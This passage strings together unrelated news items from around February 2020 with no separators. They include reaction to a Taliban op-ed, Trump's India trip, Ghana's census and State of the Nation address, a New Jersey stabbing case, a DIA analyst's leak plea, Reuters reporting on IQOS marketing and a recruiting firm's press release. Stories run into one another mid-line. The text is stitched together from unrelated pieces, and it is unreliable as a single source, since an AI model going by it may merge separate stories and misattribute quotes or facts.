agree on 'a new, inclusive political system in which the voice of every Afghan is reflected and where no Afghan feels excluded'. He also states that concerns about Afghanistan being used by foreign militant groups to 'threaten regional and world security' are 'inflated'. The US invaded Afghanistan after the 9/11 attacks on the World Trade Center and the Pentagon by Al Qaeda, who were guests of the Taliban at the time. One of the promises believed to be included in the deal is for the Taliban to ban any foreign militant groups on Afghan soil. The Afghan presidential palace also reacted strongly to the article. 'It is sad that the (New York Times) has given their platform to an individual who is on a designated terrorist list. He and his network are behind ruthless attacks against Afghans and foreigners,' Sediq Sediqqi, a palace spokesman, told Reuters. President Donald Trump got into the mood on Friday ahead of his upcoming India trip by issuing a surprising thumbs-up for Bollywood's first gay rom-com movie. "Great!" the US president wrote as he retweeted gay rights activist Peter Tatchell's own expression of support for the ground-breaking movie. Trump is not a regular advocate of gay rights, while some of his more right-wing supporters actively oppose them. "I hope this is the beginning of President Trump's genuine embrace of LGBT+ rights & not just a PR stunt," Tatchell tweeted after. Released on Friday, "Shubh Mangal Zyada Saavdhan" ("Be Extra Careful About Marriage") stars popular actor Ayushmann Khurrana as a young man bucking social disapproval to be with his beloved -- another man. India's Supreme Court scrapped a colonial-era ban on homosexuality only in 2018. Trump, accompanied by First Lady Melania, is due to land in the western city of Ahmedabad on Monday before heading to the Taj Mahal and then to talks with Prime Minister Narendra Modi in New Delhi the next day. Trump is due to holds talks with Prime Minister Modi in New Delhi Mr Louis Toboh, Deputy Volta Regional Statistician, has asked the Information Service Department (ISD) in the Region to sensitise the public on the forthcoming Population and Housing Census (PHC). He said high publicity on the exercise and its relevance was essential for its successful implementation. Mr Toboh who was speaking at the inauguration of Ho West District Census Implementation Committee (DCIC) said the PHC night would be on June 28, 2020, while the main enumeration would take place on June 29, 2020. The eight-member Committee is made up of the District Coordinating Director, the District Census Officer, the District Information Officer and the District Director of Education. The rest are the District Director of Health, the District Director of National Commission for Civic Education, the District Statistical Officer and a representative of the Traditional Council. Mr Toboh called on the citizenry to cooperate effectively with the authorities in charge of the exercise to make it successful, saying we want everybody to be counted. He urged members of the committee to adhere to principles that underpinned the exercise and to ensure that they delivered effectively on their core mandate for the country to obtain accurate and reliable data for her developmental plans. Mr Victor Ernest Apau, District Chief Executive (DCE), Ho West said PHC was an indispensable governance tool required to ensure that good governance and democracy worked for all, and therefore called on the people to avail themselves for the exercise, especially during field enumeration He said bad census data would negatively affect the socio-economic development of the District and therefore asked members of the Committee to be committed to their duties and discharge them diligently. The success of the census in this District depends on the extent to which you diligently execute your task in collaboration with the four-member District technical team.and the seriousness attached to this important assignment, he stated. Mr Apau called on traditional leaders to play key roles in the exercise by educating their subjects on the need for the exercise and why they should get involved. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video South Africa: B-BBEE conference goes to Gauteng The Broad-Based Black Economic Empowerment (B-BBEE) Commission will today host the Gauteng leg of its provincial conferences at the Lords Signature Hotel in Meyerton. The provincial conferences, said the Department of Trade and Industry in a statement, seeks to raise awareness on broad-based black economic empowerment (B-BBEE). The provincial conferences are part of a major programme to educate, create awareness, and showcase the services of the B-BBEE Commission and various related government entities that are tailor-made to assist businesses, said the department. The emphasis is on Small, Medium and Micro Enterprises (SMMEs) and previously disadvantaged individuals, to participate meaningfully in the South African economy. The B-BBEE Commission is committed to continuous communication that helps South Africans to identify instances where they are being exploited for fronting and to prevent these practices upfront, the department said. B-BBEE Commissioner Zodwa Ntuli in the statement says the conference also aims to help citizens identify empowerment opportunities offered by the B-BBEE Act such as enterprise and skills development programmes, which are critical for the economy. The Gauteng provincial conference is the Commissions last provincial engagements this financial year. This follows a series of conferences in Mpumalanga, Western Cape, Northern Cape, North-West, Limpopo, Eastern Cape and Free State, building up to the Annual Conference which will take place in Durban, KwaZulu-Natal on 13 March 2020. We have learned a lot in these interactions across the country and we will be tailoring our offerings to be more responsive to our stakeholders, based on these learnings. From our interactions with participants at the provincial conferences, they left better informed. We expect the participants at the Gauteng conference to get the same type of value, says Ntuli. She said B-BBEE must help achieve economic inclusivity and equality, create jobs and reduce poverty, most importantly it must remove obstacles to economic transformation, including lack of financial support and market access, and enable effective implementation of preferential procurement for black businesses by state entities. The more we know about B-BBEE Act, the more the anticipated empowerment can flow to the intended beneficiaries. Partnerships between entities in the private and public sector together with intended beneficiaries are encouraged, said the department. The Departments of Small Business Development; National Treasury; and Department of Trade and Industry, as well as Companies and Intellectual Property Commission (CIPC), South African Revenue Service (SARS), and the National Empowerment Fund (NEF) will also form part of the conference. SAnews.gov.za This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. President Akufo-Addo has said his government has made significant strides over the last three years in its fight against corruption, despite the scepticism of people with questionable records. Delivering his fourth State of the Nation Address to Parliament on Thursday, 20 February which was boycotted by the Minority Caucus, the President told the one-sided chamber that: We have strengthened the legal framework to fight corruption, with the help of this House, by passing into law the Witness Protection Act, 2018 (Act 959), the Office of the Special Prosecutor Act, 2018 (Act 959), the Right to Information (RTI) Act, 2019 (Act 989), and the Companies Act, 2019, (Act 992), which provides a framework for enacting a beneficial ownership register. The government, the President said, has increased budgetary allocations to all the accountability institutions of state, including the Parliament of Ghana, the Judiciary, Commission on Human Rights and Administrative Justice (CHRAJ), Economic and Organised Crime Office (EOCO), the Office of the Attorney General and Ministry of Justice; the Auditor-General, the Office of the Special Prosecutor and the Ghana Police Service, with annual increases between 25% and 34% between 2017 and 2019. The President also said some of the anti-corruption measures his government has put in place over the past three years have yielded results. We have also implemented a change from the opaque allocation of Ghanas oil blocks to a more transparent allocation process, and advisedly so. The opaque period, 2013 to 2016, saw, according to the Ministry of Energy, the signature of thirteen (13) petroleum agreements, from which fourteen (14) wells were to be drilled. Not a single well was drilled. In contrast, in my time, over the last three (3) years, there have been six (6) drilling campaigns on three (3) different blocks, with others on the way. We will drill more and find more oil. Some forty or more (40) high profile personalities are currently before the courts on various corruption charges and more are in the pipeline. I will like to repeat that if evidence of corruption is presented, no one will be spared, regardless of position or political affiliation. No one is above the law. That is the true meaning of equality before the law. Mr Speaker, as part of our strategy to modernise the economy, deliver government services efficiently, and curb corruption, Government has over the last three years embarked on a major program of digitisation of the economy with significant success. As of the end of last week, 9.2 million people have been registered for the National ID card, the Ghana card. Before the end of this year, Ghana will have a fully working national ID system, which will be a game-changer for our nation. The man accused of a fatal stabbing last week in Elizabeth near an auto body shop began to cry when his family left the courtroom Wednesday after his detention hearing. Javier Ramirez-Jimenez, 48, was charged with reckless manslaughter after authorities say he fatally stabbed 67-year-old Carlos Ariza on the 500 block of Elizabeth Avenue. Authorities say the two men, both from Elizabeth, were having a heated argument inside a parked car around 11:45 p.m. last Friday just before Ariza was stabbed. Ramirez-Jimenez entered a not guilty plea in Superior Court of Union County in Elizabeth Wednesday and agreed to remain detained. He struggled to stand up to be sworn in during court, so much so, that the judge allowed him to sit. His supporters in court included his sister, brother-in-law and some friends. They declined to comment to NJ Advance Media outside of the courtroom. John Kean III, a public defender for Ramirez-Jimenez, told Superior Court Judge Lara DiFabrizio that his client was consenting to be detained since he is wanted by U.S. Immigration and Customs Enforcement, known as ICE. In light of the ICE detainment that was filed on him, we had a thorough discussion, Kean said in court. We understand that should he be released from here, hell be going into ICE custody anyway. A vigil was set up in front of an auto body shop in Elizabeth for Carlos Ariza , who was fatally stabbed on Feb. 14, 2020. A vigil set up in front of the auto body shop for Ariza featured small mementos like toy trucks and empty cans of Coors Light. A poster board with notes written mostly in Spanish included messages like, "I will miss you, and "I love you so much. Two men inside the ashop said Ariza worked there from time to time. Carlos was very good, said one man, who mostly spoke Spanish. [Never had] problems with customers. NJ Advance Media obtained an affidavit of probable cause in the case which detailed what police investigators allege happened during the night of the crime on Feb. 14, Valentines Day. Authorities say a security guard at a bar across the street from the auto body shop was tending to a woman who was bleeding from her palm. A second security guard was keeping Ramirez-Jimenez separated from a group of people who were standing near a white Nissan Pathfinder, police say in the complaint. Police say they learned that Ariza was inside the auto body shop and saw a wound in his abdomen. He then collapsed to the floor and was transported to University Hospital, where he was pronounced dead, police said. Jimenez-Ramirez and another person, whose name is redacted from the complaint, were taken to Trinitas Hospital and later transported to the Union County Prosecutors Office for questioning. A person, whose name is also redacted in the court document, was taken to the Elizabeth Police Department and interviewed by its detectives. The person told police they observed someone, whose name is also redacted in the complaint, push Ramirez-Jimenez to the ground, police said. The person provided a cellphone video he recorded of the incident, police said. The video shows Ramirez-Jimenez at the driver-side door of the Nissan with blood visible on the vehicle and the ground. Ramirez-Jimenez made several contradictory statements but admitted there was a physical altercation between him and a person, whose name is again redacted, inside the vehicle, police said. Someone brandished a knife inside the car, but the affidavit is unclear about who held it. A struggle for the knife inside the car spilled outside, which resulted in the woman being cut on her palm. Ramirez-Jimenez told authorities he struggled for the knife, and then Ariza was stabbed in his stomach, police said. His next court appearance is scheduled for March 26. A vigil was set up for Carlos Ariza in front of the auto body shop in Elizabeth where he worked and was fatally stabbed on Feb. 14, 2020. Rebecca Panico may be reached at rpanico@njadvancemedia.com. Follow her on Twitter @BeccaPanico. The artistic wizard who brought Oz to life BBC (David L) Bumblebees can create mental imagery, a building block of consciousness, study suggests abc.net.au (Kevin W) Earliest interbreeding event between ancient human populations discovered Heritage Daily (Kevin W) Fossil-Fuel Production May Be Responsible For Much More Atmospheric Methane Than Scientists Thought Bloomberg France Shuts Down Oldest Reactors, But Nuclear Power Still Reigns Agence France-Presse Powerful antibiotic discovered using machine learning for first time Guardian (Dr. Kevin) Chemotherapy For Cancer Could Soon Be Unviable Because of Superbugs MSN #nCOVID-19 China? China Expels Three Wall Street Journal Reporters Wall Street Journal (Bill B) EU deadlocked in budget summit as rifts laid bare Financial Times Germany and right-wing extremism: The new dimension of terror DW Irish leader Varadkar to resign, as parliament fails to find new leader CNN Dail adjourns for two weeks after failing to elect new taoiseach Irish Times New Cold War Lawmakers Are Warned That Russia Is Meddling to Re-elect Trump New York Times (Kevin W). Kill me now. First Putin installed @TomPerez as DNC Chair. Then he hired ACRONYM to build an app for the Iowa caucuses ominously named Shadow. Then he got Bloomberg to spend $400 million on ads. Then he made sure Democrats had no agenda https://t.co/FId2yJT4Gm Matt Stoller (@matthewstoller) February 20, 2020 Syraqistan Big Brother is Watching You Watch Trump Transition State-federal task forces are out of control Washington Post (Dan K) It was the Democrats embrace of neoliberalism that won it for Trump Guardian (David L) 2020 Our Famously Free Press Why Do Corporations Speak the Way They Do? Vulture (resilc) Sweden Starts Testing Worlds First Central Bank Digital Currency Reuters IRS Sues Facebook For $9 Billion, Says Company Offshored Profits To Ireland Fox How Blue Apron Became a Massive $2 Billion Disaster Observer. How about the simple version: It was a stupid idea? Youd never find enough people whod want to minimally cook and pay the fully loaded cost. The Reformation in Economics: Back to the Future American Affairs Journal (UserFriendly). Review of Philip Pilkingtons new book. He started out at NC!!! Congrats to Philip. Class Warfare Poverty Is All About Personal Stress, Not Laziness Noah Smith, Bloomberg. JLP: One step in the right direction, next time they will hypothesize that maybe poverty has to do with wages. The Trump administration is blaming opioid deaths on the fact that health care wasn't expensive enough. Are you f'ing kidding me? pic.twitter.com/w7Ry1W52i2 Matt Stoller (@matthewstoller) February 20, 2020 Workers of the Target-owned delivery app Shipt say that if they don't buy gifts for rich customers with their own money, an assignment algorithm will downrank them out of lucrative shopping jobs https://t.co/CT0Uz4TIgs pic.twitter.com/c3IDjjLEYT (@derektmead) February 14, 2020 Antidote du jour. How handsome! From Brian B: Shaggy and Poppy are Leonberger dogs they are the same breed but they are not related. Leonbergers are knows as Gentle Giants as well as Lean-on-bergers given their habit of leaning into people so that they can get a good petting. Shaggy is 6.5 years old and 185lbs. Poppy was 3.5 months old and 35lbs. Poppy is now 5.5 months and 65lbs. And a bonus: For #NationalPetDay I give you my ferals Floofles who Ive TNRed and her baby, have been feeding going on five years. Technically not my pets but love them! pic.twitter.com/LXRrhBZ9tx Lorraine Evanoff (@levanoff) February 21, 2020 See yesterdays Links and Antidote du Jour here. Henry Kyle Frese (pictured) is accused by federal authorities of sharing top secret information from the DIA with two journalists A counterterrorism analyst for the U.S. Defense Intelligence Agency pleaded guilty to leaking secret information about foreign nations' weapons systems to two journalists, including one he was dating. Henry Kyle Frese, 31, pleaded guilty to the 'willful transmission of Top Secret national defense information' in an Alexandria, Virginia, federal courtroom on Thursday. Frese could face up to 10 years in prison at his sentencing on June 18, 2020. The former government official, who held top-secret clearance when employed by the government, is accused of disclosing classified information to the journalists between February 2018 and October 2019. While the Department of Justice does not reveal the identity of the journalists, separate reports have named Amanda Macias of CNBC and Courtney Kube of NBC News. He also allegedly accessed pertinent reports unrelated to his job duties on several occasions, as well as retweeted Macias' Twitter posts about published articles containing national defense information. While the Department of Justice has not formally identified the two journalists, reports - including the Associated Press - have named NBC News reporter Courtney Kube (left) and CNBC reporter Amanda Macias (right) Information Frese is said to have shared later appeared in at least eight published articles authored or co-authored by Macias and Kube. He was first arrested on October 9, 2019 after an FBI investigation took place. 'Frese violated the trust placed in him by the American people when he disclosed sensitive national security information for personal gain,' the U.S. Department of Justice said in a statement. 'He alerted our countrys adversaries to sensitive national defense information, putting the nations security at risk. 'Mr. Frese violated his sworn oath to protect the American people and uphold the Constitution of the United States by using his access to the United States most sensitive information and steal state secrets for nothing more than personal gain. If convicted, Frese (pictured) could face a maximum of 10 years in prison after he was arrested on October 9, 2019, by federal agents 'By disseminating the same classified information he had pledged to protect, Henry Kyle Frese put the US and our national defense equities in danger.' The statement said Frese's actions were not valiant, but illegal and corrupt. 'This case should serve as a clear reminder to all of those similarly entrusted with National Defense Information that unilaterally disclosing such information for personal gain, or that of others, is not selfless or heroic, it is criminal,' the agency said. According to the Department of Justice, Frese was first employed by the DIA in February 2018 and reportedly shared data from five intelligence reports from the Compromised Intelligence Reports. Authorities say Frese (left) and Macias (right) lived together at the same residential address from January 2018 to November 2018 Notably, the information in these reports were 'outside the scope' of Frese's job perimeters. Around the same time, Frese and Macias lived together at the same residential address from January 2018 to November 2018. Authorities say that based on their social media accounts, they appeared to have been romantically involved for some or all of that period of time. Frese and Macias followed each other on Twitter from 2018 to 2019, and on at least two occasions he retweeted articles that contained classified information. The statement says Frese revealed top secret and secret information to Macias at least 12 times. When the first journalist tweeted a link to her story, Frese later re-tweeted the article, according to the court documents Authorities say Frese revealed top secret and secret information to Macias at least 12 times throughout his career with the DIA Documents say that Frese accessed an intelligence report several times between mid-April and May 2018. One week after he accessed the report for a second time, authorities say he received a Twitter DM from Macias asking if he would be willing to speak with a second journalist, Kube. He said he was 'down' to help Kube if doing so would help Macias 'progress.' During the same Twitter exchange, Macias reportedly said a U.S. military official told Kube that they were unaware of the information found in the intelligence report This prompted Frese to say the military officials response was 'weird' and he further commented on information inside the report. Several days after the Twitter messages, Frese spoke with both Kube and Macias on the phone. About 30 minutes after speaking with the two journalists, Macias published an article that contained secret intelligence information. Neither reporter has been accused of any wrongdoing and they do not face any legal repercussions. During at least 30 separate instances, authorities say Frese conducted searches on classified information that was discussed with the journalists. The Department of Justice said: 'On multiple occasions in 2018 and 2019, Frese conducted searches on classified government systems because of specific requests for information from [Macias and Kube].' Additionally, Frese transmitted classified information to an employee at an overseas consulting group through social media. The Jammu and Kashmir administration is all set to complete 180 vital developmental projects this fiscal in public works sector, taking the mission road to development much ahead across the union territory, an official spokesman said on Friday. The Department of Finance, under the Jammu and Kashmir Infrastructure Development Finance Corporation Limited (JKIDFC) - a newly created government undertaking body, in a series of nine meetings sanctioned 593 projects with balance sanctioned cost of Rs 1,313.24 crore pertaining to roads and bridges, the spokesman said. He said the sanctioned 593 projects include 380 roads with balance cost of Rs 867.26 crore, 198 bridges with balance cost of Rs 413.38 crore and 15 buildings with balance cost of Rs 32.60 crore. For the effective implementation of the programme, the projects under execution are being regularly monitored at the executive agency level and at the highest level as well, the spokesman said. He said the Department of Public Works (Roads and Buildings) has targeted to complete 180 projects by the end of March 2020. The department till now has completed 111 projects which include 50 roads, 56 bridges and five buildings, the spokesman said adding Rs 221.74 crore have been incurred on these languishing projects till date. Notably, the Jammu and Kashmir government with its all-out efforts created a special fund to complete all the languishing projects, works of all the departments which were left halfway due to the scarcity of funds, the spokesman said. He said the Department of Finance started sanctioning the languishing projects in the year 2018. He said the government, with the supplementation of central resources, made concerted efforts in rebuilding of destroyed infrastructure in the shape of roads, bridges, school buildings and the social infrastructure. With this objective in view, special schemes have been launched, besides bolstering the ongoing schemes of the Public Works Department, he said. In order to bolster the economy and take mission development ahead, he said the Jammu and Kashmir administration is taking every possible step to complete nearly 2,000 vital projects by March 2021. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Get this newsletter in your inbox Monday-Friday by signing up at subscription.oregonlive.com/newsletters. Top stories for Friday, Feb. 21 The expert terrain of Heather Canyon, at Mt. Hood Meadows ski resort.Mark Larabee/Oregonian file photo HOOD DEATHS: The expert terrain of Heather Canyon, at Mt. Hood Meadows ski resort. The slope where a snowboarder died Sunday was the nastiest ski slope Ive ever seen, a skier who was seriously injured there said in an interview published Thursday. A friend of the snowboarder who was with him agreed with her assessment. A second snowboarder was found dead Monday in Heather Canyon. (Mark Larabee/Oregonian file photo) WEST LINN POLICE: A confidential report released this week in the wake of the wrongful arrest scandal tied to former West Linn Police Chief Terry Timeus accuses him of racist, sexist, anti-Semitic and homophobic statements when he worked as a Lake Oswego police officer. The report is filled with allegations of unprofessional conduct by Timeus and was delivered to West Linn City Hall on Feb. 12, 2008, three years after West Linn hired Timeus as its chief without a background check. CANCER FUNDING: Columbia Sportswear Chief Executive Tim Boyle and his wife, Mary Boyle, are giving $10 million to a joint Oregon Health & Science University and University of Oregon program tackling cancer with big data. The Boyles helped create the research center last year with another $10 million gift. JORDAN COVE: Federal regulators effectively delayed their licensing decision on the Jordan Cove liquefied natural gas project in Coos Bay on Thursday until they could review Oregon regulators decision to reject a key permit for the project because of its significant environmental impacts. GOOD SAMARITAN: The Portland woman who was fired from her job with U.S. Bank after a Christmas Eve act of kindness has been hired by a California credit union that created a job especially for her. JEREMY CHRISTIAN TRIAL: The jury in the MAX stabbings trial of Jeremy Christian deliberated for a full day Thursday but went home without reaching a verdict. Theyll reconvene Friday. Keep up with the trial at oregonlive.com/crime, by subscribing to our free email newsletter, or via podcast or your digital assistant of choice - well have dispatches from the courtroom most afternoons. Snap of the day Jamie Hale/Staff ATTENTION BIRDERS: A bald eagle flies across the Lower Klamath National Wildlife Refuge, with Mount McLoughlin in the distance. Every winter, the Klamath Basin, at the border between southern Oregon and northern California, hosts the largest concentration of bald eagles in the continental U.S. (Jamie Hale/Staff) More news $40 million error delays Metro vote to put Portland-area homeless services measure on May ballot Portland school board members tense as district officials lay out boundary redraw strategy Portland-area residential customers are being overcharged for garbage service, lawsuit says Liquor license canceled for popular UO-adjacent Taylors Bar and Grill Woman shoots husband, self near Florence, authorities say Alleged intruder fatally shot by homeowner identified as Vancouver man, 19 Find more at oregonlive.com Weather and traffic Mostly sunny. High 56, low 36. In Tigard, the new red light photo cameras at several Oregon 99W intersections have been turned off until construction permit standards, required by the Oregon Department of Transportation, are met, according to a recent release from the city. No citations will be issued until the photo enforcement contractor has completed the work necessary. Get the latest forecast at oregonlive.com/weather Stay up to date on traffic conditions at oregonlive.com/commuting Advice Ask Amy: Transgender man makes strides during holiday visit, with humor Dear Abby: Divorcing friend overstays his welcome Dear Annie: Stop worrying about whether co-worker is judging your hours Find more, including todays horoscope, at oregonlive.com Today's comics Click here to see today's comics Today's obituaries Jimmy Conways funeral Mass and reception scheduled for Tuesday Click here to find area deaths reported recently Today in history In 1887: Oregon passed Americas first law to officially recognize Labor Day, the workingmans holiday. In 1965: Black Muslim leader and civil rights activist Malcolm X, 39, was shot to death in New York City by assassins identified as members of the Nation of Islam. (Three men were convicted of murder and imprisoned; all were eventually paroled.) In 1975: Former Attorney General John N. Mitchell and former White House aides H.R. Haldeman and John D. Ehrlichman were sentenced to 2 1/2 to 8 years in prison for their roles in the Watergate cover-up (each ended up serving a year and a-half). Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. The students of the Indian Institute of Mass Communication (IIMC) on Friday called off their four-day long hunger strike after the administration accepted their demands. The administration has extended the last date for submission of second-semester fees up to March 31 or till the notification of the new fee structure, whichever is later. "It means the new deadline for submission of second-semester fees is the arrival/notification of new fees structure in IIMC. We hereby request all students not to pay fees till the new fee structure is notified/finalised," read a statement from IIMC. The second demand put forward by the students was regarding the committee which will decide our new fee structure, the administration agreed to share details of that committee with students and it also ensured students' participation in that committee. Earlier in February, few students were reportedly suspended for 'violating the code of conduct'. "We all are thankful to our fellow students for their constant support and encouragement.Also, we are thankful to IIMC administration for giving their decision in the favour of students," says Jagriti Trisha, a student of Hindi Journalism at IIMC. "However, we expect from the administration not to repeat the past mistakes that forced us for the indefinite hunger strike," she added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Chris Kirkham (Reuters) - At Germany's Bambi Awards for the media industry in November, celebrities posed for red-carpet photos against a backdrop of established luxury brands. Alongside the likes of Mercedes-Benz and Swiss watchmaker Chopard was a newer name: IQOS, a "reduced risk" heated-tobacco device sold by cigarette maker Philip Morris International Inc. Across Europe, Asia and South America, the tobacco firm has affixed the IQOS brand to music festivals and art exhibits. The company also markets through IQOS lounges at mountainside resorts in the Pyrenees and in fashionable neighbourhoods of Rome. Throughout Europe, it has partnered with "IQOS friendly" bars and restaurants - closed to cigarettes but open to IQOS. Such promotions are part of a wide-ranging "normalization" strategy by Philip Morris to scrub its image as a purveyor of cancer-causing cigarettes and present its new smoking alternatives as youthful, upscale lifestyle products, according to a ten-month study by tobacco researchers at Stanford University, who shared it exclusively with Reuters before its release on Friday. The marketing strategy mimics that of tobacco companies in the mid-20th century, when they started associating cigarettes with Hollywood and high society. "Philip Morris, as a company name, is somewhat of a pariah," said Robert Jackler, a professor who led the study and heads Stanford's Research into the Impact of Tobacco Advertising. "IQOS is an attempt to sanitize their product line." The Stanford researchers said their study was spurred in part by a May 2019 Reuters investigation that found Philip Morris had used young online personalities, including a 21-year-old woman in Russia, to promote IQOS. The company's internal marketing standards prohibit it from using youth-oriented celebrities or "models who are or appear to be under the age of 25." The Reuters report prompted the company to acknowledge it had violated its own policy and to suspend its use of social media influencers. Story continues The Stanford study found that, although the company suspended its "most visible" social-media influencer programs, IQOS marketing continues to stray substantially from its corporate standards on youth-oriented marketing. "Its use of youth-oriented social media channels, trendy pop music festivals and celebrity influencers are mis-aligned with their commitment to exclusive 'adult smoker' targeting," the Stanford report concluded. (For the full report, see: http://tobacco.stanford.edu/iqosanalysis ) Philip Morris declined to answer detailed questions from Reuters on its IQOS marketing strategy and the Stanford findings, saying it did not have access to the full report. "However, we doubt that there is anything PMI could say or do that Dr. Jackler, and others who criticize our scientific commitment and smoke-free vision, would ever find satisfactory." The IQOS device is central to the firm's efforts to overhaul its image through such initiatives as its "unsmoke" campaign, which promotes such "smoke-free" alternatives as a way to accelerate the shift away from cigarettes. The device heats up but does not burn packages of ground-up tobacco, which resemble small cigarettes, to create a nicotine-filled aerosol that is similar to that produced by e-cigarettes, which heat flavoured liquid nicotine. At this year's Davos World Economic Forum in Switzerland - a gathering of some of the world's richest people - Philip Morris set up an "Unsmoke your mind" lounge, where panelists argued against regulations preventing "truth in marketing" by tobacco firms looking to promote smoking alternatives. IQOS is sold in about 50 countries, including the United States through a partnership with U.S. Marlboro maker Altria Group Inc. The two companies pledged to regulators that they would market the device only to adult smokers, showing sample advertisements of adults conservatively dressed in business attire. But in other markets across the world, the Stanford study said, Philip Morris uses "coaches" and "ambassadors" to market IQOS. In Romania and Russia, employment agencies recruit attractive women as young as 19 to market IQOS, according to job postings mentioned in the Stanford report and reviewed by Reuters. Instagram postings for Be Like Me, a Romanian marketing agency, show young women posing with the IQOS device in recent months, often wearing robe-like uniforms in malls. The Instagram account for RBT Group, a staffing agency in Russia that markets IQOS, similarly shows photos of attractive young women in front of IQOS signs or posing with other "coaches." Be Like Me and RBT Group could not be reached for comment. Other Instagram accounts with the "IQOS" name, including one called "iqostyle.arm," based in Armenia, continue to show young women posing with the IQOS in what appear to be professional photographs. One photo on that account from last July - two months after Philip Morris said it had suspended all influencer marketing - showed Nika Shuvalova, a 22-year-old Ukrainian model, posing in a swimsuit on a boat with an IQOS. Shuvalova could not be reached for comment. A message sent to the "iqostyle.arm" Instagram account was returned by someone calling themselves Tiko, who said the IQOS postings were a "hobby" and that he had not been paid by Philip Morris. BIG BET ON IQOS AND 'NORMALIZATION' The stakes for Philip Morris are huge: The company invested $6 billion in developing "smoke-free" products such as IQOS in hopes of staving off a trend of declining global cigarette sales. In 2018, company CEO Andre Calantzopoulos told shareholders that it hoped to receive about 40% of its revenue - nearly $20 billion - from "reduced risk" products by 2025. Internal Philip Morris documents underscore the importance of its larger strategy: "Make 'normalization' a PMI priority and imbed this mindset into the organization," read an internal company document from 2014, reviewed by Reuters as part of a 2017 investigation. The document also cited "the threats posed by PMI/industry de-normalization" - such as lobbying bans and exclusions from international treaties and trade agreements - "and the need to reverse this trend to drive future growth." The Stanford researchers pointed to wide-ranging company efforts to associate IQOS with fashion, art and popular culture in a way that cigarette brands such as Marlboro have been unable to do, given changing social attitudes and laws around the world that prohibit such advertising and promotions. IQOS has been present at events such as Germany's Bambi Awards - which honour stars in TV and film, sports, art and music - as well as that country's Playboy Playmate of the Year Awards. Philip Morris worked with British sculptor Alex Chinneck on a dramatic installation at the 2019 Milan Design Week. The work depicted the facade of an old, two-story building being unzipped like a pair of jeans - meant to signify the IQOS "notion of opening the future," the sculptor said in an interview with FAD magazine. A representative of Chinneck confirmed the partnership. The company also worked with distinguished industrial designer Karim Rashid to create an installation at the previous year's Milan Design Week. In an interview with website fashionrepublik.com, Rashid described his installation, showing two faces meeting one another, as similar to the IQOS, which he called an intimate device that speaks to forward-thinking and original expression. A representative of Rashid said he was unavailable for an interview on Thursday. GETTING TOBACCO BACK INTO RESTAURANTS, BARS The company has also sought to distinguish IQOS from smoking through partnerships with restaurants, bars and salons who designate themselves as "IQOS friendly" spaces, where cigarettes are banned but the IQOS device is allowed. The Stanford researchers found evidence of hundreds of "IQOS friendly" establishments in places such as the Czech Republic, Ukraine, Romania and Japan. Philip Morris did not respond to questions about its business relationships with the establishments that promote the device and display its branding. The Stanford researchers and other experts say such policies undermine public smoking laws and encourage dual use of cigarettes and alternative devices. Many users will continue smoking outdoors, but turn to e-cigarettes or IQOS where they are permitted indoors. Such switching can deepen nicotine addiction and make cessation less probable, the Stanford report said. The brand also had a presence at a Tel Aviv University student music festival last year - where the minimum age for entrance was 16, and where a video showed young IQOS staff at a pop-up booth. At a launch party for IQOS in Albania last year, a performer in an elaborate white sequined dress did an interpretive dance on stage with an IQOS, while another performer attached to wires performed acrobatic moves in the air while playing a violin. "They're trying very hard to resurrect the glory era of smoking, where it was glamorous and sophisticated and stylish," Jackler said. "It's about associating it with all the good things in life." (Reporting by Chris Kirkham; Editing by Brian Thevenot) As I look through this list I would also like to extend my congratulations to familiar faces in the Bay Area, LA, and San Diego who have partnered with Binc to help them recruit talent to scale their businesses at the pace they needed to achieve their vision. Past News Releases RSS Inc. magazine today announced that Binc is ranked 194 on its inaugural prestigious list of the fastest-growing California-based private companies. This regional list represents a unique look at the most successful companies within the California economys most dynamic segmentits independent small businesses. In 2019, the successful recruitment process outsourcer was honored by Inc. magazine for being one of the Best Workplaces in the United States. We are honored to be recognized by Inc. magazine for our steady growth, remarked Boris Epstein, CEO and founder of Binc. As I look through this list I would also like to extend my congratulations to familiar faces in the Bay Area, LA, and San Diego who have partnered with Binc to help them recruit talent to scale their businesses at the pace they needed to achieve their vision. The companies on this list show stunning rates of growth across all industries in California. Between 2016 and 2018, these 250 private companies had an average growth rate of 422 percent and, in 2018 alone, they employed more than 49,000 people and added $5.6 billion to the California economy. Companies based in the largest metro areas brought in the highest revenue overall. Complete results of the Inc. 5000 Series: California, including company profiles and an interactive database that can be sorted by industry, metro area, and other criteria, can be found at inc.com/inc5000-series-california-2020. The companies on this list demonstrate just how much the small-business sector impacts Californias economy, says Inc. editor in chief Scott Omelianuk. Across every single industry, these businesses have posted revenue and growth rates that are beyond impressive, further proving the tenacity of their founders and CEOs. Inc. 5000 Regional Series Methodology The 2020 Inc. 5000 Regional Series is ranked according to percentage revenue growth when comparing 2016 and 2018. To qualify, companies must have been founded and generating revenue by March 31, 2016. They had to be U.S.-based, privately held, for-profit, and independentnot subsidiaries or divisions of other companiesas of December 31, 2018. (Since then, a number of companies on the list have gone public or been acquired.) The minimum revenue required for 2016 is $100,000; the minimum for 2018 is $1 million. As always, Inc. reserves the right to decline applicants for subjective reasons. About Inc. Media The worlds most trusted business-media brand, Inc. offers entrepreneurs the knowledge, tools, connections, and community to build great companies. Its award-winning multiplatform content reaches more than 50 million people each month across a variety of channels including websites, newsletters, social media, podcasts, and print. Its prestigious Inc. 5000 list, produced every year since 1982, analyzes company data to recognize the fastest-growing privately held businesses in the United States. The global recognition that comes with inclusion in the 5000 gives the founders of the best businesses an opportunity to engage with an exclusive community of their peers and the credibility that helps them drive sales and recruit talent. The associated Inc. 5000 Conference is part of a highly acclaimed portfolio of bespoke events produced by Inc. For more information, visit http://www.inc.com. About Binc Founded in 2002, Binc provides best-in-class recruiters, sourcers, and recruiting leaders to help the fastest-growing companies in the technology sector hire at the pace they need to achieve their vision. Bincs dedicated flexible recruiting team fully embeds itself into each organization's systems and culture, while leveraging industry-leading tools, technologies, data analytics, and market insights. Binc also partners with its clients people and talent leaders to build a strong talent infrastructure from top to bottom, evolving recruiting systems, sourcing tools and strategy, compensation bands, closing techniques, candidate experience, interview process, team build-out and more. Binc's guiding philosophy is that everyone deserves to be where they can be their best. For more 